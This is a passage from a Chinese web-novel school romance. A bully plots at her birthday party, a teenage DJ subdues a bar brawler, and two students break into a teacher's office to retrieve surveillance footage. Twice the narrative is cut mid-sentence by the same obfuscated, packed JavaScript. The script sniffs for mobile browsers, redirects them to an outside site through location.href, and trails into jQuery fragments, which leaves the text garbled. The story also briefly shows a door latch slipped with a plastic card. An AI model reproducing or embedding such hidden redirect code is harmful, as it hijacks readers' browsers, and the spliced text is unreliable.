董婉凝在二楼电梯口等,何艾和张婧雅姗姗来迟,董婉凝让她们先进去坐。 又等了一会儿,董婉凝看了眼手机,七点五十五了,就快到点了,可她还没看到秦夏的身影。也没看着叶子。 秦夏不来教训一番就好了,可叶子,董婉凝没办法。 董婉凝哂笑说:“果然这有男人罩就是不一样,胆子真大,我盛情邀约,居然都不来。” 宁小萌和沈娇娇知道她说的是谁,前后附和道:“估计是知道自己配不上这样高档的餐厅,望而却步了吧。” “不来也好,眼不见心不烦。” 只有孟燃听不懂,露出疑惑之色。 董婉凝立马给她解释,“一个特别讨厌的女生,又装又爱告老师,还喜欢巴结男人。” 沈娇娇气愤地补充:“人品也差!偷了我五百块钱呢!” “这么恶劣吗?”孟燃神色凝重。 董婉凝振振有词:“对啊!全班同学都讨厌她!” 宁小萌义愤填膺:“之前她还用热水烫了婉凝的腿呢!害婉凝好几天走不了路。” 孟燃忧虑看向董婉凝的腿:“那你腿现在……” 董婉凝:“现在好了。”她突然想到什么,问孟燃,“对了孟燃,你有男朋友吗?” 孟燃笑笑,语气充满不屑:“没有。那些大猪蹄子,我都看不上。” “是吗!”董婉凝大喜,心生一个损招。 然而她没马上说出来,拥着她们向餐厅走,“走吧我们进去吧,八点了。” party准时开始,董婉凝简单地念了开场白之后,餐厅所有灯光熄灭,一个十六层蛋糕推进来,对应着董婉凝今年十六周岁。 烛光摇曳,气球和礼花筒爆炸,漫天彩带飘落。生日快乐的BGM响起,全场欢呼,大家一同拍手唱歌,祝董婉凝生日快乐。 董婉凝拿着话筒,大声说:“谢谢朋友们!我爱你们!” “我们也爱你!” 欢呼声起此彼伏,掌声雷动。 董婉凝接着说:“一会儿开饭,大家随便吃随便玩,我只有一个要求,不要把蛋糕往我身上抹,脸上也不行,我今晚精心打扮,不想被奶油弄脏,大家就当照顾我这个寿星了,可以吗!” “好!”全场齐声应,数男生们嗓门大。 董婉凝笑容灿烂。 灯 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阿天对她刮目相看,调侃:“不愧他们叫你燃哥,挺熟练的嘛!” 孟燃不以为意说:“谁还没混过日子。” 阿天挑眉:“这么说,你在你之前学校也是混子咯?” 孟燃口气淡淡:“不然?若非如此,我爹也不会给我转学。” 董婉凝竖大拇指:“帅。”她拿起高脚杯,“燃哥喝一个,以后咱们就是姐妹了。” 孟燃与她轻轻一碰,小酌一口。 旁边的宁小萌听到,嚷着说:“还有我还有我!”她端起酒杯跟着喝。 沈娇娇和何艾都跟着喝,“还有我们呢!” 张婧雅:“也别忘了我!” 张婧雅是董婉凝新班级认识的朋友,也很快与董婉凝的老朋友们打成一片。 董婉凝:“好好,大家都是好姐妹!” 阿天扫视餐厅,问董婉凝:“那书呆子没来啊?” 董婉凝放下酒杯,讥诮说:“没有,可是有男人罩了,这点面子都不给。” 孟燃在一旁听到,这回知道说的是谁,有些好奇:“男人罩?”她之前就想问,但没顾上。 董婉凝一想起这个就来气:“是啊!你说贱不贱?” 孟燃笑着问:“谁啊?” 董婉凝附在她耳边念出韩山的名字,“认识吗?” 孟燃想了想:“被停课那个?” 董婉凝打了个响指,“没错,就他。” 孟燃若有所思点头:“听过说,但没见过。” 阿天:“你刚转来,没见过正常。” 孟燃眼中有异彩:“倒是挺好奇的。听说他打架很厉害?” 董婉凝回想起那晚的经历,如今依然会觉得害怕:“是啊,要不说那臭婊.子贱呢,竟能让这种人罩她?怎么做到的,卖.肉?搞得我们拿她一点办法都没有。” 孟燃轻弹烟灰,抽了口烟,说:“我认识些人,也是打架的高手。” 阿天连连摆手,“你的人肯定也不行,他是练过的。” “哦?”这下孟燃更好奇了,“练的什么,格斗?” 阿天:“不止。” 孟燃斟酌说:“那要这么说的话,还真没什么好办法。武力压制是绝对压制。” 董婉凝坏笑着蹭了蹭她:“有的!就是不知道燃哥你愿不愿意。” 孟燃讶异:“你不会要说美人计吧?” 董婉凝挑挑眉,她真这么想,倘若能让韩山喜欢上别的女生,他自然就不会搭理叶子了。 最坏的结果,就算韩山不动心,叶子看见别的女生接近他,总也有点自知之明吧! 董婉凝撒娇说:“怎么样燃哥?愿不愿意帮我?你这么美,没有男生会不喜欢。” 阿天举起双手,连声附和:“就是就是!我是男生,我双手赞同!” 董婉凝用鞋跟跺了他一脚,阴森森说:“你说什么?” 孟燃低眸浅笑。 阿天疼得直吸气,反应过来,连忙转移话题:“啊……我是说,这方法听着不错,实际操作起来却有难度。韩山这人不近女色,挺难追的。我们也算旧相识吧,认识好几个年头了,他一个对象没谈过,连绯闻都很少,唯一一次表白,还是因为玩游戏输了。” 董婉凝却嗤之以鼻:“我看也未必,那臭婊.子都能接近他,别人怎么就不行?”她转向孟燃,笑着说:“燃哥,我觉得你真的很合适,而且你看不上这些男生,等你追到他了再把他狠狠甩掉,帮我们出口恶气!” 孟燃稍加思量,吐出口烟雾,探身把烟按灭在烟灰缸,淡淡说了句: “也不是不行。” 28. 可爱女孩 楼下负一层的Kings酒吧里,群魔乱舞,霓虹灯晃动。 卡座坐满了人,不乏身价过亿的老板,富豪,公子哥,个个美女环绕,左拥右抱。 酒吧中充斥着彩色烟雾。香烟的味道,混合着酒味与香水味,奢靡又浪荡。 灯光最闪耀的舞台上,银发DJ熟练地操控着打碟机和调音台。修长的手指推动按钮,舞台激光、全场音效,尽数掌控在他指尖下。他耳蜗戴着一只黑色专用耳机,身体投入地随着节奏律动。 韩山来Kings兼职的事情,没有告诉任何人。 他喜欢音乐,早就想做这件事,囿于韩家的限制,一直没能做,如今韩松庭与他断绝关系,他再也没有任何约束。 穿着火辣的舞女在他身边扭动热舞,他只专注于音乐,沉浸于震耳欲聋的乐海之中,不用去想任何事情。 为了掩饰身份,顺应这个职业的风格,他戴了一只Lotos墨镜,头发打理过,衣服穿经理准备好的,首饰也是由经理亲自挑选。 这里的人都叫英文名,他给自己起名叫Ace,包括经理,没人知道他的真名。 他登台的第一天,就有女人来要他的联系方式,这个职业就是这样,但凡有几分姿色,站在舞台上让人看到,总能吸引些蜜蜂啊蝴蝶啊,赶都赶不走。 上到三四十岁事业有成的女老板、一掷千金的阔太,下到十几岁二十出头爱玩的富二代小姑娘,应有尽有。这几日他也算看了个遍。 可他没什么想法,一个人也没给。 尽管他身处淤泥,可他却向往最纯粹干净的人,而这种地方,绝不会遇到。 壁灯左右摇摆,投下炫目的光。他一眼也不看台下,却早已洞悉每个卡座的动态,东南角在谈生意,西北角在聚会,吧台上有年轻男人搭讪已婚女人,灯光最暗,最隐蔽的散台上,有人在亲吻。 这种风月场所多少带了些商务性质,但不妨碍有的人依然寻欢作乐。 韩山不屑一顾,他出生在韩家,这些本就看得多了,男人间的生意总是在酒桌和女人间拍板,女人早已是价值交换的一环。 他瞥了眼腕上的机械表,九点五十。 他的工作时间从晚上八点到天亮,夜越深,他越重要。 可惜今晚他不能控场狂欢时刻了。 他记得和叶子的约定,再有一个小时,他就要走了。 * 楼上,董婉凝提议:“哎,咱们吃完饭去Kings玩会儿,怎么样?” 沈娇娇第一个响应:“好呀!我倒要看看那个Ace真人长啥样!” 这话说到董婉凝心坎上了,她兴奋说:“我也想!燃哥呢?”她看向孟燃。 孟燃笑笑说:“我自然没问题。” 董婉凝:“萌萌,何艾,婧雅?” 张婧雅不假思索:“我可以!” 何艾犹豫地点点头,“去也行……不过我妈让我早点回家……” 宁小萌为难说:“啊,我就算了吧……”她还是对银发这个特征有些怵。那晚她亲眼见识韩山威胁董婉凝,生怕下一个被威胁的就是自己。 董婉凝不太高兴:“怕啥,根本不可能是他!” 阿天跟兄弟们打牌,听见她们讨论,插嘴说:“你们去看帅哥经过我同意了吗?” 董婉凝嘿嘿一笑,抱着他的胳膊央求说:“哎呀老公你最好了,今天是我生日嘛!让我去玩会儿呗!” 阿天懒得跟她计较,甩出最后两张牌,“再来再来!那你们去吧我可不去。” 董婉凝欢呼:“好耶!那老公玩尽兴哦!”她在他脸颊亲了一下。 阿天点了根烟叼着,边洗牌边说:“你们啥时候去?” 董婉凝看了眼手机:“再等会儿吧,Kings的狂欢时间是零点,现在还早。” * 黑色高跟鞋嗒嗒作响,一个身穿大红色包臀裙,戴着墨镜的女人扭着身体,大步流星走进Kings,穿过人挤人的卡座,从舞台前经过,黑色指甲敲了敲打碟机,走进后面的员工通道。 韩山抬眸。 这是Kings的经理,Viki,中文名“玮琪”。 韩山转身跳下舞台,随着她一同进去。 玮琪走进办公室,知道韩山在后面,给他留了门。 她摘下墨镜,放下臂弯挎着的手提包,甩了下栗色大波浪,打开办公室内的藏酒柜,给自己倒上一杯威士忌,小酌一口,无比享受地靠在办公桌的边沿,等着后面人进来。 韩山停在办公室门口,敲了敲门。 玮琪豪迈地说:“说吧,什么事?给我打了两个电话。” 玮琪虽是经理,但脾性却像酒吧小姐,爱玩。 早些时候,韩山给她打电话请假,她在学赛车没接到。 韩山走进来,说:“今晚请假,十一点有事。” 玮琪眉梢微扬,“十一点?那狂欢时刻怎么办?”她摇晃酒杯,红唇漾开妩媚的笑,“这段时间很多人都是奔着你的名头来的,看不见你会失望的。狂欢时刻也需要你控场。” “我必须走。”韩山已经摘了墨镜,狭长凉薄的眸没有半点情绪。 玮琪一时有点分不清他俩谁是老板。 几天前,少年来应聘,她一眼就看中了他。 面试过程相当顺利,少年很会玩打碟机和调音台。她果断录用了他。 能在皇家这样的高端娱乐场所当DJ,是多少圈里人梦寐以求的。 然而少年一直不咸不淡的,似乎很是无所谓。 也对,像他这样的外形条件和能力,应聘哪家酒吧都不会不通过。与其说是Kings选择了他,倒不如说是他选择了Kings。 事实证明玮琪的眼光确实没错,少年一夜成名,成为Kings的摇钱树。 现在,反而是玮琪生怕他下一句说:你不放人,我就辞职。 玮琪弯了弯唇,一把抓住他颈间的银色项链,将他扯到面前,娇娇柔柔,极尽风情地说:“急事吗?可是Kings现在离不开你。好歹过了狂欢时刻再走嘛。一点,一点我放你走,怎么样?” 韩山脸上毫无波澜,垂眸看着她,说:“十一点。我可以一点回来。” “就这么急吗,非得十一点?”玮琪盯着他的眼睛,半玩笑半套话说:“怎么,不会是你的小女友让你十一点送她回家吧?” 她确实挺好奇他的感情生活,他这样的外形,看起来就是个渣男。 韩山黑眸沉沉看她,不置可否。 玮琪觉得扫兴,松开他,百无聊赖说:“算了算了,你去吧。一点回来哈。我把狂欢时刻往后推一下,等你哟。”她抛媚眼。 韩山转身离开,将墨镜重新戴在脸上。 玮琪以为他多少能表示一下吧,结果他还是一个字都不说,更扫兴了:“啧,怎么跟个木头一样。” 白瞎了这副好皮囊。 一个酒保慌慌张张闯进来,喊道:“经理!有人在舞池打起来了!” 韩山脚步微顿。 玮琪惊讶:“什么?” 玮琪与韩山一同来到前厅,场面已经相当混乱,两个男人在打架,桌子都掀翻了,一地狼藉。玮琪惊骇捂住嘴巴。 立刻有酒保来汇报:“经理,已经报警了。” 这酒保脸上带着伤,似乎是拦架被揍了。 墨镜下,韩山锐利的眸看向混乱中心,他们打得凶,没一个人敢靠近。 韩山蹙眉拨开人群,大步走上前,将他们拉开,“要打去外面打。” 地上都是酒水,酒瓶碎片、各种食物,在地上被踩得稀巴烂。 两个男人,一个穿着灰色西装,头发打了发蜡,看起来很体面,一个穿着黑色紧身T恤,健壮的臂膊将袖口绷得紧紧的。 西装男嘴角挂了伤,一片红肿,被拉开后整理衣服领带,没再上前。而T恤男不依不饶,被拉开顿时急眼了,“你管老子!”他扬拳向韩山挥去。 有舞女尖叫了一声。 韩山神色没有丝毫变化,手掌包住男人的拳头,从容接下这一拳,念在自己DJ的身份,没有还手,只是抓着他的拳头,没松开。 陪酒小姐们惊恐地缩在一起,酒保们退避三舍,护着客人们的安全。 T恤男眼中闪过一瞬意外之色,发力试图挣脱,却怎么也挣不开,韩山戴着墨镜,看不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13713092|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出神色,但轻松的姿态,仿佛不用力气。 T恤男扬起另一只拳头挥向韩山,韩山扼住他的手腕。 T恤男一愣。 普通人的三角猫功夫根本威胁不到韩山。周围开始出现惊叹声。 T恤男抬脚要踹韩山,韩山长腿将他的腿一别,他扑通一声跪在了地上。韩山顺势将他两只手反剪在身后,轻而易举制伏了他。 周围吸气声、叹服声不止。 韩山穿的是玮琪给他准备的白色宽松衬衫,脖子上松松挂了根黑色领带。他稳稳地钳制着男人,单手取下领带,两三下将男人双腕捆住,“你就安生在这等警察来吧。” T恤男还想挣扎,“我可是你们酒吧的顾客!你敢对顾客动手,信不信我去告你!” 韩山长腿从他身后退开,轻笑一声没搭腔。 混乱平息,场面平静下来,人群看韩山的眼神多了几分仰慕和不可思议。其中有位拿着石楠木烟斗的富豪,微微眯眼,吐了口烟雾。 西装男心有余悸,也被韩山的身手震慑到了,喉结滚了滚,拘谨对韩山说:“谢谢小兄弟出手制止,不然我真的不知道要被打成什么样……”他手掌在西装上快速蹭了蹭,擦干掌心的汗,小心翼翼伸出手,显现出一副卑微讨好的样子,“我叫李勇军,可以认识一下吗?” 韩山抬眸,敏锐地认出他就是刚才在吧台上搭讪已婚女人的那位年轻男士——那女人左手无名指带着婚戒。 这种人对韩山来说只是蠢货,他勾唇,没说什么,也没有理李勇军伸出来的手,抬臂看了眼机械手表,十点五十五。 他立刻转身走进人群中。他该走了。 李勇军望着韩山的背影进入员工通道,默默收回了手。 拿着石楠木烟斗的那位富豪也注视着韩山离去,偏头低声对手下人说:“拦住他。” * 韩山大步往化妆间走,边走边摘耳钉、项链,然后连带墨镜一同丢在化妆间桌上,胡乱抓乱头发,拿了衣架上他的皮衣,从后门离开Kings。 前门外闪烁着警车红蓝色的光,警察已经来了。 韩山长腿跨上机车,打火要走,便在这时,几个人影将他笼罩。 他抬眸,拿着石楠木烟斗的富豪站在他面前,身后四个体型健硕的保镖。 韩山记得他们,刚才就是他们和另一拨人在酒吧里谈生意。 现在这是? 他转动钥匙熄了火,机车发动机安静下来。 富豪穿着棕色条纹西装,身形富态,脸上带着和善的微笑,说:“小兄弟,我看你身手不错,想跟你交个朋友。”他抬了下手,拇指上戴着个翡翠扳指。 一个保镖立刻将富豪的名片双手奉上。 韩山微微蹙眉,接过名片,上面写着富豪的名字:翁方海。 翁方海:“我经营着一个地下格斗场,不知小兄弟愿不愿意跟我去转转?我相信你一定会喜欢那里。” 格斗啊…… 韩山了然一笑,收起名片,爽快说:“今晚不行。改日,我亲自上门拜访翁老板。” 翁方海目光深邃:“好,那我等你消息。” 韩山向他点头,拧钥匙,骑机车离开了。 * 叶子看了眼手机,十一点五分,韩山还没来。 她在火锅店外的街边等他,左右张望。 火锅店对面就是皇家,门口停着一辆警车,她有些好奇,这是怎么了呢? 夜里温度低,她呼出一团团雪白的哈气。但她刚从火锅店下班,还不觉得冷。 同事们也下班了,锁上火锅店的门,发现她还没走,隔着一段距离喊她:“叶子,我们叫了车,要不要跟我们一起走?” 叶子转过身摆手,笑着说:“不用啦!你们先走吧!” “那我们走了!” 叶子跟她们挥手告别。 这时,身后传来两声鸣笛,叶子下意识回头,韩山骑着机车停在她面前。 他长腿支在地上,视线在她同事们身上稍稍停留,转过眸看她。 叶子见到他,不自觉扬起唇角,又看了眼手机,笑吟吟宣布:“你迟到六分钟十一秒。” 29. 可爱女孩 少女脸蛋皮肤细薄,风一吹就染上红晕,给她的笑容增添了几分蜜色。 不施粉黛的脸,一切都美好得格外真实。 来之前,韩山在脑子里设想了无数种见面的场景,可她的开场白仍让他出乎意料。 他嘴里嚼着泡泡糖,心里似乎也有泡泡,一团团炸开。 她今天穿的是一件樱花粉羽绒服,遮住半截大腿,将她的腿型修饰得纤细好看。羽绒服口袋上有个卡通小熊刺绣,圆圆的小脸跟她一样,可可爱爱。 她脖子上戴着条白色围巾,衬得她脸蛋更加白皙透红。路灯将她的杏眼照亮,水灵灵的,映着他的影子。 她真的好乖。 韩山若无其事递给她一个草莓味的泡泡糖,淡淡说:“所以呢,要惩罚我吗?” 叶子接过泡泡糖,顺手放进兜里,杏眼笑弯成两道桥,嗓音脆生生的:“当然不是啦!只是提醒你,让你下次准时一点。” 韩山轻笑,“还有下次?” 今晚他们是有事要做,正常情况,他是没机会来接她的吧。 叶子想了想也是哦,但这不影响她依然很开心,她甜甜地说:“跟别人也要准时哦。” 韩山偏头让她上车。 哪还有别人,能让他随叫随到。 叶子走近机车,韩山正要将手臂递给她,她却先一步,自然地抓住他的臂弯,登上他的后座。 韩山的世界有瞬间安静。 之前都是他主动献出手臂,而这次,她主动抓了他。 手臂上的力度轻浅,却让他格外敏感,仿佛触在了他心上。 叶子坐好了,戴上羽绒服后面的帽子,拉紧围巾,兴奋地说:“好了出发吧!” 韩山微微扭头,余光里,少女将自己裹成了一个雪人,笑容甜美,似乎对她刚才的行为毫无所觉。 他压下心头悸动,放下护目镜,声音平静说:“其实可以惩罚的。” 她想罚他什么,他都可以做到。 叶子立刻摇头,脑门前的刘海也跟着晃,“不用啦!快走吧。” 这么点小事,根本不至于惩罚呀。 韩山有一瞬失落,无言拧动油门。 其实她可以不用这么宽容大度,惩罚也可以是朋友间的一种乐趣。 * 皇家门口,警察把李勇军和T恤男押上警车,玮琪也不得不跟着他们走一趟。 Kings里,酒保迅速收拾好残局,照常营业。 董婉凝带着一帮人来到Kings的前台,说:“给我开个卡座。” 前台女服务员用官方语气说:“请出示一下您的身份证。” 墙上挂着未成年不得入内的警示牌,董婉凝抿抿唇,从包里拿出一张黑卡甩给她,“身份证没带,只带了这个。放我进去。” 这黑卡是她父亲的,象征尊贵身份,服务员顿时郑重起来,董婉凝成功用这张卡开了卡座,带着人走进Kings。 打架的事并没有影响Kings的火热,场内气氛极high,新来的顾客都不知道刚才发生了什么,董婉凝也不例外。 董婉凝舒服坐在卡座沙发上,招呼大家:“都随便坐啊随便坐!” 来Kings的有二十多个人,将卡座坐得满满当当。酒保给他们端上啤酒架,里面一百瓶啤酒,酒保一个个帮他们启开。另一个酒保来上水果,零食,游戏道具。 董婉凝挺直身子往舞台上看,发现今晚的DJ不是Ace,蹙眉嘀咕:“人呢?” 沈娇娇也在探头看,奇怪说:“今天怎么不是他啊?算了,先玩吧,等会狂欢时刻他不可能不出现。” * 夜深人静,黑金机车停在学校一堵偏僻的围墙外。 围墙另一侧是男生宿舍的最后一栋,哪怕是上课期间都少有人来。 韩山熄火,脚一拨脚撑,下了机车。 “下来吧。”他向她伸出手臂,眼睛打量周围环境。 叶子拨开帽子,吸了吸鼻子,这一路她吹着冷风,鼻尖都红了,然而面前少年却一点事都没有。 他穿的还比她少。 她扶着他的手臂,跳下机车,路灯投下昏黄的光,四周静悄悄的,一只流浪猫蹿过。 她抬头望了望高高的围墙,问道:“我们要从这翻进去吗?” 她说话的时候,韩山已经走到围墙下,长腿半蹲下来,“来吧。” 叶子迟疑了一下,“我是要踩着你吗?” 韩山:“不然?你自己翻得进去吗?过来。” 也对,她确实会翻得比较吃力。叶子心想。 这方面他比较有经验,就听他的吧。 叶子“哦”了一声,乖乖走到他身边。 他右膝触地,身子放低,一只手撑在地面,指挥她:“踩我肩上。” 站在他身边叶子才直观地感受到差距,原本那么高的少年,竟然可以在她脚边伏得这样低。 他的黑色皮衣在路灯下反射着光泽。 叶子有些犹豫,觉得这样不太好,环顾四周想看看有没有砖头之类的东西。 韩山微微侧头:“不敢踩的话,用膝盖先跪上去。我会抓着你,不会摔的。” 叶子没看到有砖头,垂眸看着他的肩膀,还是不忍心。 她对自己的体重很没自信,而且……而且会把他衣服弄脏的呀。 韩山:“怎么了,不相信我?” 叶子不用思考就知道,她是相信他的。她只是不太相信她自己。 她穿得厚,这些衣服加在一起,也有好几斤。 她给他打预防针:“我九十斤哦。” 韩山有点想笑,就这么把自己体重告诉他了? 更让他无奈的是,看来她真的不太相信他,九十斤而已,就这么为难。 他势必要让她看看,这点重量算不得什么。 她已经足够瘦了,不需要不自信。 韩山沉声说:“来吧。” 叶子汇报完体重心理负担小了很多,吸了口气,“那我踩了哦。”她扶着围墙,一只脚踏上他的肩膀。 她穿着灰色打底裤,白色毛绒靴。韩山立刻抓住她的脚踝,骨节分明的大手,十分有力。 叶子有了安全感,另一只脚随之踩了上去,他另一只手继而抓住她另一只脚踝,他的身体很稳,完全不晃。 叶子手扶着墙,如履平地。 “还可以吗?”韩山问。 叶子有些诧异,明明是她踩他,问这句话的应该是她呀。 她点头,“可以。你呢?” 韩山:“放心,你很轻。” 叶子脸颊有些热。 看他语调平淡,身体毫不打晃,确实很轻松的样子,她信了这个答案。 韩山手上移一些,抓住她的小腿,“我起来了。” 他抓她抓得很紧,隔着厚厚的棉裤,她几乎能感觉到他掌心的温度。她低低应了声,“嗯……” 韩山小心翼翼站起来,叶子身体慢慢上升,弯腰扶住墙头。 “你先坐上去。”韩山开口。 “哦。”叶子坐在墙头上,如释重负,没想到翻墙这件事,竟也可以如此简单。 她两条腿搭在墙边,开心地晃了晃。 韩山向后退了两步,冲刺过来,脚在墙上一蹬,手一扒墙头,灵巧地翻过围墙。 叶子还没看清他的动作,就听到身后的落地声。 韩山在围墙另一侧向她伸出手,“跳下来。” 叶子回头,校园里没有灯,旁边一棵百年古松遮挡月色。他的身影隐没在黑暗中,唯有一双明亮的黑眸,有神看着她。 叶子心微微一跳,慌乱敛下目光,两条纤瘦的腿绕过围墙,转过身来。 少年的双手为她敞开,此刻,她在上面,他在下面,他抬头望着她。 有些熟悉的画面。 叶子想起那个早上,他将她从窗台上举起,放在地上……就是这样的视角。 她脸更热了几分,那天被打断的情绪再次涌上心头,让她无比羞赧。 然而少年在下面等着她,她又不能不跳。 她闭上眼不去看他,咬牙往下一跳。 韩山接住她,她撞进一个温暖坚硬的怀抱,嗅到他身上淡淡的烟酒味道。 他是从哪赶过来的呀? 叶子连忙退开了些,窘迫道了声谢。 她的小表情尽数被韩山看在眼里,他目光柔和,似有欢喜,又似有化不开的情愫。 叶子想到什么,也是为了缓解尴尬,连忙从兜里拿出面巾纸,抽出一张给他,“擦擦衣服吧……” 韩山唇边带笑,接过这张纸,随便擦了下肩膀。 他穿的是皮衣,灰一蹭就掉。 他还想逗逗她,然而这时一束手电光忽而照过来,“谁在那!” 校园里有保安巡逻,正好巡视到这里。 叶子拉住韩山便跑,“快跑。” 保安看见两道黑影一闪而过,连忙追上去,“别跑!什么人!” 叶子拉着韩山穿过学校公园和连廊,甩开保安,跑进教学楼,对韩山比了个嘘的手势。 楼道里有声控灯,若是亮了就会暴露位置。 韩山领会她的意思,没有出声。 叶子放下心来,靠着墙气喘吁吁。 韩山抬手看了眼刚才被她抓着的部位,眼中含着若有似无的笑意。 他跑了这段路,没有丝毫气喘,见叶子喘气,他再次生出想逗逗她的念头,低声轻轻开口:“不——” 他刚发出一个单音节,叶子犹如弹簧一般,猛地跳起来捂住他的嘴。 韩山微微一愣。 叶子自己也一愣,她太怕他发出声音弄亮声控灯了。 韩山垂眸,楼道里漆黑一片,少女的脸与他贴得那样近。 他眼里的意外之色渐渐褪去,浮动出碎碎流光。 叶子无措与他对视,她踮着脚,全身紧绷,上半身几乎贴在他身上。 她穿得厚,倒是不怕。但他皮衣敞着怀,里面是单薄的白色衬衫,她几乎能感觉到他胸膛的坚硬。 少年体温很高,隔绝开冷空气,带来丝丝暖意。 叶子心脏狂跳,没想到自己竟下意识做出这样的行为。 他的唇瓣被迫贴在她掌心,冰冰凉凉,而他鼻尖呼出来的气,却是滚烫炽热,烫得她心尖也在颤动。 她反应过来,刻意避开他的目光,不去看他,想要把手拿开。 然而她的手刚刚离开他的唇瓣,便被他捉住手腕。 叶子身子一凌。 “怕什么,我不会让它亮的。” 他黑眸沉着,声音压得极低,像呼吸一般轻呵吐字,四周依然是漆黑一片。 他肆意开口,毫无顾忌,却又那么的尽在掌握。 叶子意识到自己反应过激,脸颊似有火在烧,好在黑暗像一张面具,无声无息掩盖掉她脸颊的绯红。 她垂着眸一眼也不敢看他,声音弱弱的,“那、那你刚才想说什么……” 韩山其实是想打趣她:不错嘛,逃跑本领一流。 但现在这气氛,他已经不想说了。 他眼中生出细碎笑意,看了她片刻,收手松开了她。 叶子只想逃离他的视线,立刻转头走向楼梯,用气音说:“我们快办正事吧。” 韩山黑眸清亮,目光跟着她移动,嚼着泡泡糖,懒洋洋迈开步子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13713093|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶子小心压着步伐,轻手轻脚上楼,声控灯安安静静,没有亮。 韩山步态闲散,走得很随意,却也没有半点声音。 两人前后穿过楼梯和走廊,叶子先一步来到赵育芳办公室门口。 她小心地扭动门把,办公室门锁了,打不开。 韩山在她身后慢悠悠走来,她扭头,求助地看着他,摇了摇头。 打不开。 韩山歪了下头,让她退开,“我来吧。” 叶子让到一边,韩山走到门前,手伸进口袋。 叶子好奇地看着他,想看看他有什么办法。 韩山拿出一张硬质塑料卡片。 楼道内光线昏暗,叶子看不出具体是什么卡,有可能是银行卡,也有可能是什么地方的会员卡。 韩山将卡片插进门锁和门框之间的缝隙,用力向下推动卡片,同时用力拉门把手。 叶子更仔细地看他动作,想学一学。 只听“咔哒”一声,锁扣弹开,办公室的门打开了。 叶子眼前一亮,压着声音说:“哇,好厉害!” 韩山漫不经心转了下卡片,放回口袋,推开门,下巴微抬,让她先进。 叶子走进办公室,心虚的感觉跟作贼一般。 办公室拉着窗帘,黑漆漆的,大而静,若非韩山在,她真的会有些害怕。 韩山随后进来,把门关上,门隔绝了最后一点月光,办公室顿时伸手不见五指。 叶子不敢往前走了,茫然转过身。 “咔嚓”一声,一簇火苗突然在眼前亮起。 韩山点亮打火机,来到她面前。 温柔的火光伫立在二人之间,照亮周围一片区域。 少年眼中映着火光,灼灼明亮。那火焰跳动在他眼中,温暖而热烈。 叶子的心跳砰砰的,连忙避开视线,转身走向赵育芳的办公桌。 韩山跟在她后面。 她打开电脑,显示屏亮起,发出幽幽蓝光。 电脑是有密码的,屏幕停在密码输入页面。 叶子下意识想,学校电脑的密码应该都是统一的,不会太难。六个六?六个零? 她正想挨个试,韩山放下打火机,从她手中接过鼠标,“我来吧。” 叶子站在旁边,看他熟练地点了几下,敲了下键盘。 电脑屏幕一闪,出现黑色代码页。 叶子双目微瞠。 少年神色专注,侧脸棱角分明。屏幕的光映在他脸上,明暗有致。 他神色专注,修长的手指在键盘上飞快敲出一串代码,按下回车,电脑顿时响起登录声音,打开了。 韩山直起身,将电脑让给叶子。 叶子有些震惊地看着他。 也太迅速了吧…… 这就是懂程序的便捷之处吗? 韩山弯唇,正要说什么,手机忽而响了。 “Butifyouwannacry,Cryonmyshoulder……” 英文歌的手机铃声。 韩山神色一紧,外面楼道的灯顿时亮了,他迅速按下挂断键,走到门后,透过猫眼往外看。 叶子紧张盯着他。 楼道里的灯亮着,还没人过来。但是估计很快就会来。 韩山回头给她打手势,让她赶紧调监控。 叶子连忙操作电脑,手控制不住地发抖。 韩山拿出手机一看,是玮琪打来的。 此时十二点半,应该是问他能不能准点回去。 他本来确实想尽快回去的,但现在,他觉得多待一会儿也不错。 手机的光照在他脸上,他目光冷淡,随便按了几个字,给她回了条短信,把手机关机,放回口袋,继续通过猫眼观察外面。 叶子看过几次赵育芳调监控,很熟练地操作监控系统,找到录像回放页面,选择雨夜那晚的日期,再选择楼梯间和走廊的监控画面,把时间调到晚上十点,倍速拉满。 她清楚地记得,那场大雨是十点开始下的。 屏幕上显示出两块画面,一块是空荡荡的楼梯间,一块是黑洞洞的走廊。 叶子屏住呼吸,时间轴飞速转动,果然,夜里十一点,楼梯上出现一个披着黑色雨披的身影。 她立刻敲下空格键,将倍速调回原速,拿出手机,打开录像功能。 她继续播放录像,将那人经过楼梯和走廊的画面拍下来。 接着,她调出楼上水房的监控,画面显示,那黑雨披人果然进了水房! 一道闪电划过,照亮原本昏暗的画面,叶子清楚地看到,黑雨披人右手拿着一把剪刀,在闪电下反射出冰冷灼目的寒光。 她生出一身鸡皮疙瘩,敲下空格,将这个画面拍下来。 如此,定能证明一切! 韩山一直通过猫眼盯着楼道内的情况,这时,楼道灯再次亮起,两个保安过来了,其中一个拿着挂了很多钥匙的钥匙盘,看起来要开门检查。 钥匙发出盈盈声响。 韩山立刻回到叶子身边,“快关机。” 叶子意识到保安来了,手忙脚乱关掉监控系统,关机。 显示器出现蓝色关机画面,中间有个圆圈转动,正在更新1%…… 系统关机前自动更新了。 与此同时,门外响起钥匙碰撞声,两个保安来到办公室门口,找钥匙开门。 电脑息屏需要一定时间,叶子着急地看向韩山。 韩山不假思索钻进电脑桌下,关掉插排电源键。 电脑屏幕熄灭,同时钥匙插入锁孔,转动,办公室的门打开。 韩山猛地拉下叶子,将她也拉进电脑桌下。 30. 可爱女孩【双更合一】 电脑桌下的空间狭窄逼仄。 